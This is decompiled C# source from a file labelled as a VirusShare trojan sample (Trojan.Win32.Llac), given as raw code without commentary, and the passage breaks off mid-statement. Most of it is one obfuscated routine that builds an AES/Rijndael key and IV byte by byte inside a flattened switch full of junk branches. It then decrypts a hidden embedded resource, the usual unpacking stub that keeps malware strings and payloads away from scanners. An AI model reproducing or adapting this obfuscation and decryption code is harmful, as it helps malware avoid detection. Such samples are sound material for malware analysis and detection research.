// Decompiled with JetBrains decompiler // Type: QbmQUZtUe9rS2foSpx.ebVKeUQJotY5IdGdNW // Assembly: qbh2l1xd, Version=95.242.248.15, Culture=neutral, PublicKeyToken=null // MVID: D873775E-B692-440D-9DC6-F52074E30D53 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.xsg-ccd525a56ec283c443aafc9d3f740ba4f7dcc2269ff8b91d73392c1de7deca52.exe using System; using System.Collections; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; namespace QbmQUZtUe9rS2foSpx { internal class ebVKeUQJotY5IdGdNW { private static byte[] \u0037B8yS5j8g = new byte[0]; private static byte[] k8NY395lT = new byte[0]; private static byte[] gbcXCakqv = new byte[0]; private static byte[] \u00365hmE9kiV = new byte[0]; private static IntPtr fmeueF07w = IntPtr.Zero; private static IntPtr n8wJwfuRs = IntPtr.Zero; private static object QCDq9KBkd = (object) new string[0]; private static int[] HXUocYWhq = new int[0]; private static int W9WkIFUP9 = 1; private static bool hNfjH4VW7 = false; private static SortedList \u0036uIIDcRfs = new SortedList(); private static int tQGVdkh9F = 0; private static long raEBj2F9L = 0; internal static ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm p1ce5FDX3 = (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm) null; internal static ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm SEHaMAJBA = (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm) null; private static long \u0033qiRntTf2 = 0; private static int c1Gltw8uY = 0; private static byte[][] gIeSg3usw = new byte[0][]; private static long[] ufjDNIIUq = new long[0]; private static bool Ddd7QgGlp = false; private static IntPtr nBw8CvPtM = IntPtr.Zero; [MethodImpl(MethodImplOptions.NoInlining)] static ebVKeUQJotY5IdGdNW() { } [MethodImpl(MethodImplOptions.NoInlining)] private void px47mAxxlTA2w() { } [ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm[]))] [MethodImpl(MethodImplOptions.NoInlining)] static string lrZZwQIgn([In] int obj0) { int num1 = 230; int num2; while (true) { int num3; byte[] numArray1; int num4; int num5; byte[] numArray2; CryptoStream cryptoStream; MemoryStream memoryStream; byte[] numArray3; byte[] numArray4; BinaryReader binaryReader; byte[] numArray5; RijndaelManaged rijndaelManaged; byte[] numArray6; ICryptoTransform transform; int num6; switch (num1) { case 0: numArray1[30] = (byte) num5; num1 = 329; continue; case 1: num5 = 67 + 71; num4 = 74; goto label_288; case 2: num5 = 73 - 42; num4 = 3; if (true) goto label_288; else goto case 60; case 3: numArray1[29] = (byte) num5; num6 = 40; break; case 4: numArray2[4] = (byte) num3; num1 = 14; continue; case 5: numArray1[30] = (byte) num5; num4 = 73; if (true) goto label_288; else goto case 207; case 6: numArray2[5] = (byte) num3; num4 = 88; if (true) goto label_288; else goto case 174; case 7: numArray1[27] = (byte) (133 + 41); num6 = 104; break; case 8: num5 = 251 - 83; num4 = 276; goto label_288; case 9: numArray1[21] = (byte) num5; num1 = 219; continue; case 10: numArray1[29] = (byte) (48 + 120); num6 = 320; break; case 11: numArray1[16] = (byte) (71 + 2); num1 = 100; continue; case 12: numArray1[2] = (byte) (171 + 18); num4 = 28; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 346; case 13: ebVKeUQJotY5IdGdNW.gbcXCakqv = (byte[]) ebVKeUQJotY5IdGdNW.ZWs11AM6h0yxp10hlC((object) memoryStream); num4 = 272; if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto case 99; else goto label_288; case 14: num3 = 51 + 67; num1 = 304; continue; case 15: numArray3[15] = numArray4[7]; num6 = 132; break; case 16: ebVKeUQJotY5IdGdNW.g8J8nTEhe8f8dgpB7e(ebVKeUQJotY5IdGdNW.iWdFZhpijHWU2yoaGS((object) binaryReader), 0L); num4 = 309; if (true) goto label_288; else goto case 236; case 17: numArray2[1] = (byte) num3; num4 = 71; if (true) goto label_288; else goto case 229; case 18: numArray1[9] = (byte) num5; num4 = 367; goto label_288; case 19: case 86: num5 = 80 + 88; num4 = 256; goto label_288; case 20: num2 = ebVKeUQJotY5IdGdNW.Urvs6TFhWkPPJxVw8i((object) ebVKeUQJotY5IdGdNW.gbcXCakqv, obj0); num6 = 373; break; case 21: numArray2 = new byte[16]; num4 = 63; goto label_288; case 22: num5 = 101 + 75; num6 = 151; break; case 23: numArray3[3] = numArray4[1]; num1 = 41; continue; case 24: numArray1[10] = (byte) num5; num4 = 141; if (true) goto label_288; else goto case 49; case 25: numArray1[27] = (byte) (64 + 64); num6 = 264; break; case 26: ebVKeUQJotY5IdGdNW.g1LoTl2Jc4binL4u9I((object) rijndaelManaged, CipherMode.CBC); num4 = 68; if (true) goto label_288; else goto case 125; case 27: numArray1[11] = (byte) (125 - 41); goto case 19; case 28: numArray1[3] = (byte) (165 - 55); num1 = 110; continue; case 29: numArray2[1] = (byte) num3; num4 = 345; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 328; case 30: numArray1[31] = (byte) (55 + 119); num1 = 51; continue; case 31: numArray2[14] = (byte) (64 + 65); num4 = 108; if (true) goto label_288; else goto case 53; case 32: numArray1[13] = (byte) (232 - 77); num6 = 369; break; case 33: num5 = 57 + 119; num6 = 170; break; case 34: numArray1[26] = (byte) num5; num4 = 166; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 201; case 35: numArray2[13] = (byte) (111 + 82); num4 = 327; if (true) goto label_288; else goto case 37; case 36: numArray2[10] = (byte) (150 - 50); num4 = 322; if (true) goto label_288; else goto case 342; case 37: num5 = 197 - 76; num1 = 162; continue; case 38: num3 = 173 + 18; num4 = 224; goto label_288; case 39: numArray2[10] = (byte) (62 - 17); num4 = 280; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 40; else goto label_288; case 40: num5 = 188 - 62; num6 = 303; break; case 41: numArray3[5] = numArray4[2]; num4 = 316; goto label_288; case 42: numArray1[19] = (byte) (202 - 67); num4 = 168; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 361; case 43: num5 = 100 - 8; num1 = 240; continue; case 44: numArray1[0] = (byte) num5; num1 = 261; continue; case 45: num5 = 26 + 87; num4 = 356; if (true) goto label_288; else goto case 235; case 46: num5 = 114 + 89; num6 = 312; break; case 47: num5 = 145 - 48; num1 = 205; continue; case 48: num5 = 29 + 89; num6 = 61; break; case 49: numArray3[11] = numArray4[5]; num1 = 232; continue; case 50: numArray1[7] = (byte) (96 + 103); num4 = 119; goto label_288; case 51: num5 = 113 - 2; num4 = 292; goto label_288; case 52: numArray1[21] = (byte) num5; num4 = 343; if (true) goto label_288; else goto case 40; case 53: numArray2[0] = (byte) num3; num4 = 180; if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto case 10; else goto label_288; case 54: num3 = 246 - 82; num1 = 202; continue; case 55: numArray2[6] = (byte) (100 + 59); num6 = 350; break; case 56: numArray1[16] = (byte) (81 + 111); num6 = 11; break; case 57: numArray2[8] = (byte) (242 - 80); num1 = 262; continue; case 58: num5 = 232 - 77; num4 = 341; if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto case 199; else goto label_288; case 59: numArray1[29] = (byte) (191 - 63); num6 = 244; break; case 60: ebVKeUQJotY5IdGdNW.tIBlVPRrjWVfd9ngDb((object) cryptoStream); num4 = 13; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 231; case 61: numArray1[0] = (byte) num5; num6 = 265; break; case 62: numArray1[2] = (byte) (119 + 82); num6 = 220; break; case 63: num3 = 156 - 52; num4 = 53; if (true) goto label_288; else goto case 140; case 64: num5 = 35 + 97; num4 = 243; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 267; case 65: num5 = 82 + 79; num6 = 169; break; case 66: // ISSUE: type reference binaryReader = new BinaryReader((Stream) ebVKeUQJotY5IdGdNW.lAyeJnb7XiQE99SxHN((object) ebVKeUQJotY5IdGdNW.e8a2ByiVr7q6HYBmUW(__typeref (ebVKeUQJotY5IdGdNW)).Assembly, (object) "1063950c-5cab-4f88-8a55-8e2aacb37e9e")); num4 = 16; goto label_288; case 67: numArray1[18] = (byte) (35 + 4); num4 = 237; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 190; else goto label_288; case 68: transform = (ICryptoTransform) ebVKeUQJotY5IdGdNW.RrPxaKBaO4e2U7gBOv((object) rijndaelManaged, (object) numArray6, (object) numArray3); num4 = 353; goto label_288; case 69: numArray2[6] = (byte) num3; num6 = 171; break; case 70: num5 = 54 + 121; num1 = 246; continue; case 71: num3 = 232 - 77; num4 = 215; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 46; case 72: num5 = 213 + 30; num4 = 226; if (true) goto label_288; else goto case 103; case 73: numArray1[30] = (byte) (207 - 69); num4 = 122; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 296; case 74: numArray1[22] = (byte) num5; num6 = 252; break; case 75: numArray2[11] = (byte) num3; num4 = 137; goto label_288; case 76: numArray1[20] = (byte) num5; num1 = 172; continue; case 77: num5 = 117 + 11; num4 = 18; goto label_288; case 78: numArray1[10] = (byte) (50 + 78); num4 = 183; if (true) goto label_288; else goto case 95; case 79: numArray1[29] = (byte) num5; num1 = 2; continue; case 80: num3 = 45 + 0; num1 = 222; continue; case 81: case 89: numArray1[10] = (byte) num5; num1 = 78; continue; case 82: numArray2[15] = (byte) (178 - 124); num1 = 349; continue; case 83: numArray1[8] = (byte) num5; num6 = 99; break; case 84: num5 = 104 + 62; num6 = 325; break; case 85: numArray1[24] = (byte) num5; num1 = 218; continue; case 87: numArray2[13] = (byte) num3; num4 = 289; if (true) goto label_288; else goto case 357; case 88: num3 = 8 + 39; num4 = 311; goto label_288; case 90: numArray1[23] = (byte) num5; num4 = 297; goto label_288; case 91: numArray1[25] = (byte) num5; goto case 97; case 92: numArray1[7] = (byte) num5; num1 = 206; continue; case 93: num5 = 242 - 80; num1 = 263; continue; case 94: numArray1[8] = (byte) num5; num4 = 288; goto label_288; case 95: num5 = 5 + 73; num6 = 155; break; case 96: numArray1[22] = (byte) num5; num1 = 250; continue; case 97: numArray1[25] = (byte) (160 - 53); num6 = 120; break; case 98: num5 = 192 - 64; num4 = 370; if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto case 241; else goto label_288; case 99: num5 = 81 + 97; num4 = 142; if (true) goto label_288; else goto case 92; case 100: num5 = 14 + 25; num6 = 267; break; case 101: numArray1[3] = (byte) num5; num4 = 239; goto label_288; case 102: numArray1[28] = (byte) num5; num6 = 174; break; case 103: num5 = 91 + 93; num4 = 310; goto label_288; case 104: numArray1[28] = (byte) (162 - 54); num4 = 337; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 351; case 105: numArray1[26] = (byte) (86 + 107); num4 = 150; if (true) goto label_288; else goto case 150; case 106: numArray2[13] = (byte) num3; num1 = 346; continue; case 107: num3 = 200 - 66; num1 = 29; continue; case 108: numArray2[14] = (byte) (189 - 63); num4 = 286; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 132; else goto label_288; case 109: num3 = 211 - 70; num6 = 159; break; case 110: num5 = 85 + 124; num6 = 101; break; case 111: numArray1[7] = (byte) (55 + 109); num4 = 50; goto label_288; case 112: num5 = 52 - 50; num6 = 254; break; case 113: num5 = 254 - 84; num1 = 216; continue; case 114: numArray1[20] = (byte) (195 - 65); num1 = 147; continue; case 115: num3 = 53 + 119; num1 = 211; continue; case 116: numArray1[2] = (byte) (210 - 70); num4 = 12; goto label_288; case 117: num3 = 149 - 49; num6 = 75; break; case 118: numArray2[13] = (byte) (94 - 73); num4 = 194; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 9; case 119: num5 = 230 + 20; num6 = 92; break; case 120: num5 = 79 + 41; num6 = 235; break; case 121: numArray1[10] = (byte) (114 + 15); num1 = 198; continue; case 122: num5 = 112 + 117; num6 = 0; break; case 123: numArray3[1] = numArray4[0]; num4 = 23; if (true) goto label_288; else goto case 319; case 124: numArray1[21] = (byte) num5; num6 = 93; break; case 125: numArray2[9] = (byte) num3; num4 = 36; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 248; case 126: num3 = 42 + 43; num1 = 106; continue; case (int) sbyte.MaxValue: numArray2[4] = (byte) num3; num4 = 342; goto label_288; case 128: numArray2[10] = (byte) (50 + 78); num1 = 39; continue; case 129: numArray1[24] = (byte) num5; num1 = 22; continue; case 130: numArray2[10] = (byte) (42 + 90); num1 = 128; continue; case 131: num5 = 46 + 110; num1 = 149; continue; case 132: rijndaelManaged = new RijndaelManaged(); num1 = 26; continue; case 133: numArray2[1] = (byte) (171 - 57); num6 = 363; break; case 134: numArray1[22] = (byte) (188 - 62); num4 = 1; if (true) goto label_288; else goto case 68; case 135: numArray2[10] = (byte) num3; num1 = 130; continue; case 136: numArray1[6] = (byte) num5; num6 = 368; break; case 137: numArray2[11] = (byte) (137 + 80); num1 = 287; continue; case 138: numArray1[16] = (byte) (135 + 3); num4 = 371; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 99; else goto label_288; case 139: numArray2[4] = (byte) (99 + 30); num1 = 307; continue; case 140: num5 = 193 - 64; num1 = 364; continue; case 141: num5 = 42 + 90; ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk(); if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) { num4 = 89; goto label_288; } else { num1 = 19; continue; } case 142: numArray1[8] = (byte) num5; num1 = 58; continue; case 143: numArray1[23] = (byte) num5; num1 = 234; continue; case 144: num5 = 77 + 29; num4 = 102; goto label_288; case 145: num3 = 162 - 54; num6 = 231; break; case 146: num5 = 90 + 109; num4 = 148; if (true) goto label_288; else goto case 298; case 147: num5 = 226 - 75; num4 = 186; if (true) goto label_288; else goto case 203; case 148: numArray1[4] = (byte) num5; num4 = 140; if (true) goto label_288; else goto case 76; case 149: numArray1[12] = (byte) num5; num1 = 200; continue; case 150: numArray1[26] = (byte) (104 + 113); num1 = 25; continue; case 151: numArray1[24] = (byte) num5; num6 = (int) byte.MaxValue; break; case 152: num5 = 72 + 102; num4 = 326; if (true) goto label_288; else goto case 121; case 153: numArray2[15] = (byte) (69 + 97); num4 = 80; if (true) goto label_288; else goto case 118; case 154: numArray1[15] = (byte) num5; num1 = 56; continue; case 155: numArray1[29] = (byte) num5; num6 = 59; break; case 156: numArray3[9] = numArray4[4]; num6 = 49; break; case 157: num5 = 219 - 73; num1 = 302; continue; case 158: numArray2[6] = (byte) (225 - 75); num4 = 191; if (true) goto label_288; else goto case 217; case 159: numArray2[3] = (byte) num3; num4 = 241; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 366; case 160: numArray2[5] = (byte) num3; num1 = 164; continue; case 161: num5 = 97 - 89; num4 = 154; goto label_288; case 162: numArray1[25] = (byte) num5; num6 = 283; break; case 163: numArray1[6] = (byte) num5; num4 = 269; goto label_288; case 164: numArray2[5] = (byte) (12 - 10); num4 = 55; if (true) goto label_288; else goto case 286; case 165: numArray1[20] = (byte) num5; num6 = 177; break; case 166: num5 = 112 + 51; num4 = 366; if (true) goto label_288; else goto case 345; case 167: numArray2[3] = (byte) (154 - 66); num1 = 139; continue; case 168: numArray1[19] = (byte) (177 - 59); num4 = 242; goto label_288; case 169: numArray1[12] = (byte) num5; num1 = 131; continue; case 170: numArray1[1] = (byte) num5; num4 = 62; if (true) goto label_288; else goto case 144; case 171: numArray2[7] = (byte) (24 + 92); num4 = 274; goto label_288; case 172: num5 = 14 + 71; num4 = 9; if (true) goto label_288; else goto case 352; case 173: numArray1[15] = (byte) (91 + 2); num4 = 113; if (true) goto label_288; else goto case 367; case 174: numArray1[28] = (byte) (122 + 62); num6 = 10; break; case 175: numArray2[0] = (byte) num3; num6 = 295; break; case 176: num3 = 197 - 65; num1 = 357; continue; case 177: num5 = 63 + 123; num4 = 76; goto label_288; case 178: numArray2[7] = (byte) (130 - 43); num4 = 251; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 116; case 179: numArray1 = new byte[32]; num6 = 48; break; case 180: numArray2[0] = (byte) (194 - 64); num4 = 317; if (true) goto label_288; else goto case 370; case 181: numArray1[3] = (byte) num5; num4 = 221; goto label_288; case 182: numArray1[9] = (byte) (45 + 97); num6 = 298; break; case 183: num5 = 90 + 122; num6 = 365; break; case 184: numArray5 = (byte[]) ebVKeUQJotY5IdGdNW.\u00350kb2qW1mc3AY5vNLS((object) binaryReader, (int) ebVKeUQJotY5IdGdNW.\u0034UfYcUfwZnbKaXQkVa(ebVKeUQJotY5IdGdNW.iWdFZhpijHWU2yoaGS((object) binaryReader))); num6 = 179; break; case 185: num5 = 110 + 58; num1 = 268; continue; case 186: numArray1[20] = (byte) num5; num1 = 315; continue; case 187: num5 = 39 + 122; num4 = 163; if (true) goto label_288; else goto case 139; case 188: numArray1[8] = (byte) num5; num4 = 210; if (true) goto label_288; else goto case 58; case 189: numArray2[6] = (byte) num3; num4 = 158; if (true) goto label_288; else goto case 160; case 190: numArray2[8] = (byte) num3; num1 = 201; continue; case 191: num3 = 181 - 83; num4 = 69; if (true) goto label_288; else goto case (int) sbyte.MaxValue; case 192: numArray2[3] = (byte) num3; num1 = 167; continue; case 193: numArray2[2] = (byte) (119 + 33); num1 = 38; continue; case 194: numArray2[14] = (byte) (74 + 114); num4 = 31; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 95; else goto label_288; case 195: numArray1[11] = (byte) (39 + 114); num4 = 157; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 302; case 196: numArray1[7] = (byte) num5; num4 = 111; goto label_288; case 197: num5 = 228 - 76; num6 = 238; break; case 198: numArray1[10] = (byte) (48 + 24); num4 = 208; if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto case 153; else goto label_288; case 199: numArray2[5] = (byte) (148 - 49); num1 = 294; continue; case 200: numArray1[13] = (byte) (47 + 73); num4 = 335; goto label_288; case 201: num3 = 226 - 75; num4 = 340; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 174; else goto label_288; case 202: numArray2[9] = (byte) num3; num6 = 225; break; case 203: numArray1[5] = (byte) (31 + 120); num1 = 270; continue; case 204: if (numArray4 != null) { num6 = 207; break; } goto case 132; case 205: numArray1[17] = (byte) num5; num4 = 323; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 120; case 206: numArray1[8] = (byte) (221 - 73); num4 = 8; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 124; case 207: if (numArray4.Length > 0) { num1 = 123; continue; } goto case 132; case 208: num5 = 168 - 56; num6 = 24; break; case 209: numArray1[12] = (byte) (64 + 42); num4 = 334; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 19; else goto label_288; case 210: num5 = 130 - 43; num4 = 94; if (true) goto label_288; else goto case 372; case 211: numArray2[2] = (byte) num3; num6 = 306; break; case 212: numArray1[14] = (byte) (105 + 45); num1 = 43; continue; case 213: numArray1[1] = (byte) (189 - 63); num6 = 33; break; case 214: numArray1[7] = (byte) num5; num6 = 339; break; case 215: numArray2[1] = (byte) num3; num1 = 133; continue; case 216: numArray1[15] = (byte) num5; num4 = 64; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 227; case 217: numArray2[15] = (byte) (213 - 71); num6 = 153; break; case 218: num5 = 101 + 21; num4 = 129; if (true) goto label_288; else goto case 250; case 219: num5 = 88 + 89; num1 = 124; continue; case 220: numArray1[2] = (byte) (67 + 119); num6 = 116; break; case 221: numArray1[3] = (byte) (146 + 16); num1 = 146; continue; case 222: numArray2[15] = (byte) num3; num4 = 176; if (true) goto label_288; else goto case 112; case 223: numArray1[31] = (byte) (144 - 48); num6 = 30; break; case 224: numArray2[2] = (byte) num3; num4 = 318; goto label_288; case 225: num3 = 195 - 65; num1 = 314; continue; case 226: numArray1[4] = (byte) num5; num6 = 203; break; case 227: numArray2[1] = (byte) (194 - 64); num1 = 107; continue; case 228: numArray1[0] = (byte) (58 + 83); num1 = 301; continue; case 229: numArray2[5] = (byte) (244 - 81); num1 = 199; continue; case 230: if (ebVKeUQJotY5IdGdNW.gbcXCakqv.Length == 0) { num4 = 66; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 22; } else goto case 20; case 231: numArray2[3] = (byte) num3; num4 = 109; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 303; case 232: numArray3[13] = numArray4[6]; num4 = 15; goto label_288; case 233: cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write); num4 = 285; goto label_288; case 234: num5 = 68 + 73; num4 = 90; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 92; else goto label_288; case 235: numArray1[25] = (byte) num5; num4 = 37; goto label_288; case 236: num5 = 110 + 83; num4 = 52; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 50; case 237: numArray1[18] = (byte) (175 - 58); num1 = 112; continue; case 238: numArray1[4] = (byte) num5; num4 = 72; goto label_288; case 239: num5 = 162 - 54; num1 = 181; continue; case 240: numArray1[14] = (byte) num5; num4 = 173; if (true) goto label_288; else goto case 304; case 241: num3 = 109 + 12; num1 = 192; continue; case 242: num5 = 122 - 39; num6 = 352; break; case 243: numArray1[15] = (byte) num5; num1 = 161; continue; case 244: num5 = 25 + 67; num6 = 79; break; case 245: num3 = 35 + 107; num1 = 125; continue; case 246: numArray1[12] = (byte) num5; num6 = 65; break; case 247: // ISSUE: type reference numArray4 = (byte[]) ebVKeUQJotY5IdGdNW.ubfxuH7mdbbHDhtpx0(ebVKeUQJotY5IdGdNW.qWp2gMA5tEr4Wr2RAh((object) ebVKeUQJotY5IdGdNW.e8a2ByiVr7q6HYBmUW(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)); num1 = 204; continue; case 248: ebVKeUQJotY5IdGdNW.TCk72huDGbI3wd7Dss((object) binaryReader); num4 = 20; goto label_288; case 249: numArray2[0] = (byte) num3; num4 = 227; goto label_288; case 250: numArray1[23] = (byte) (122 + 29); num1 = 362; continue; case 251: numArray2[7] = (byte) (115 - 107); num6 = 328; break; case 252: num5 = 187 - 104; num4 = 96; if (true) goto label_288; else goto case 106; case 253: num5 = 72 + 34; num4 = 44; if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto case 117; else goto label_288; case 254: numArray1[18] = (byte) num5; num6 = 42; break; case (int) byte.MaxValue: numArray1[24] = (byte) (178 - 95); num6 = 45; break; case 256: numArray1[11] = (byte) num5; num6 = 84; break; case 257: numArray1[28] = (byte) num5; num1 = 144; continue; case 258: numArray1[9] = (byte) num5; num6 = 121; break; case 259: num3 = 239 - 79; num6 = 189; break; case 260: num5 = 150 + 8; num1 = 282; continue; case 261: num5 = 148 - 87; num4 = 266; if (true) goto label_288; else goto case 10; case 262: num3 = 90 + 74; num4 = 190; goto label_288; case 263: numArray1[21] = (byte) num5; num1 = 236; continue; case 264: numArray1[27] = (byte) (245 - 81); num4 = 46; if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto case 70; else goto label_288; case 265: num5 = 233 - 77; num4 = 300; if (true) goto label_288; else goto case 93; case 266: numArray1[0] = (byte) num5; num4 = 305; goto label_288; case 267: numArray1[16] = (byte) num5; num6 = 271; break; case 268: numArray1[24] = (byte) num5; num4 = 348; goto label_288; case 269: num5 = 98 - 7; num1 = 136; continue; case 270: numArray1[5] = (byte) (67 + 61); num6 = 296; break; case 271: numArray1[16] = (byte) (208 - 69); num6 = 138; break; case 272: ebVKeUQJotY5IdGdNW.KFo9xjnJtIutWMS59s((object) memoryStream); num4 = 331; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 85; case 273: num5 = 8 + 59; num4 = 5; if (true) goto label_288; else goto case 122; case 274: numArray2[7] = (byte) (251 - 83); num4 = 361; if (true) goto label_288; else goto case 20; case 275: numArray1[23] = (byte) (85 + 28); num6 = 360; break; case 276: numArray1[8] = (byte) num5; num1 = 355; continue; case 277: numArray1[14] = (byte) (54 + 69); num4 = 212; if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto case 288; else goto label_288; case 278: numArray2[15] = (byte) (2 + 117); num6 = 82; break; case 279: numArray6 = numArray1; num1 = 21; continue; case 280: numArray2[11] = (byte) (246 - 82); num1 = 117; continue; case 281: num3 = 191 - 63; num4 = 351; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 353; case 282: numArray1[11] = (byte) num5; num1 = 209; continue; case 283: num5 = 2 + 9; num1 = 34; continue; case 284: numArray2[14] = (byte) (90 + 49); num4 = 217; goto label_288; case 285: ebVKeUQJotY5IdGdNW.d610naqpinTJwc3nrU((object) cryptoStream, (object) numArray5, 0, numArray5.Length); num4 = 60; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case (int) sbyte.MaxValue; else goto label_288; case 286: numArray2[14] = (byte) (72 + 102); num4 = 284; if (true) goto label_288; else goto case 315; case 287: numArray2[12] = (byte) (84 + 104); num6 = 281; break; case 288: num5 = 207 - 69; num6 = 83; break; case 289: numArray2[13] = (byte) (174 - 58); num4 = 118; if (true) goto label_288; else goto case 111; case 290: num5 = 227 - 75; num1 = 196; continue; case 291: numArray1[22] = (byte) num5; num4 = 134; if (true) goto label_288; else goto case 54; case 292: numArray1[31] = (byte) num5; num6 = 279; break; case 293: numArray1[14] = (byte) (196 - 65); num6 = 277; break; case 294: num3 = 185 - 61; num1 = 160; continue; case 295: num3 = 165 - 56; num6 = 249; break; case 296: numArray1[5] = (byte) (102 - 51); num4 = 103; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 368; case 297: numArray1[23] = (byte) (124 + 112); num4 = 275; if (true) goto label_288; else goto case 330; case 298: numArray1[9] = (byte) (88 + 77); num6 = 77; break; case 299: num3 = 41 - 31; num1 = 330; continue; case 300: numArray1[0] = (byte) num5; num1 = 228; continue; case 301: numArray1[0] = (byte) (9 + 66); num6 = 253; break; case 302: numArray1[11] = (byte) num5; num1 = 260; continue; case 303: numArray1[30] = (byte) num5; num1 = 273; continue; case 304: numArray2[4] = (byte) num3; num1 = 313; continue; case 305: numArray1[1] = (byte) (103 + 23); num1 = 213; continue; case 306: num3 = 202 - 67; num1 = 372; continue; case 307: num3 = 22 + 31; num6 = 4; break; case 308: numArray1[7] = (byte) num5; num4 = 290; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 77; case 309: ebVKeUQJotY5IdGdNW.QNbcbn39JuV4QoRKNv(true); num4 = 184; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 174; else goto label_288; case 310: numArray1[6] = (byte) num5; num6 = 187; break; case 311: numArray2[5] = (byte) num3; num4 = 229; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 359; case 312: numArray1[27] = (byte) num5; num1 = 7; continue; case 313: num3 = 99 + 51; num1 = (int) sbyte.MaxValue; continue; case 314: numArray2[9] = (byte) num3; num1 = 321; continue; case 315: num5 = 190 - 63; num6 = 165; break; case 316: numArray3[7] = numArray4[3]; num4 = 156; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 293; case 317: num3 = 2 + 58; num6 = 175; break; case 318: numArray2[3] = (byte) (38 + 124); num1 = 336; continue; case 319: numArray2[12] = (byte) (114 + 94); num4 = 347; if (true) goto label_288; else goto case 130; case 320: numArray1[29] = (byte) (68 + 124); num4 = 95; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 358; else goto label_288; case 321: numArray2[9] = (byte) (103 + 114); num4 = 245; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 145; else goto label_288; case 322: num3 = 168 - 56; num1 = 135; continue; case 323: num5 = 206 + 11; num1 = 359; continue; case 324: num3 = 88 + 77; num4 = 338; if (true) goto label_288; else goto case 28; case 325: numArray1[11] = (byte) num5; num1 = 195; continue; case 326: numArray1[14] = (byte) num5; num4 = 293; goto label_288; case 327: num3 = 124 + 110; num4 = 87; goto label_288; case 328: numArray2[8] = (byte) (166 - 55); num4 = 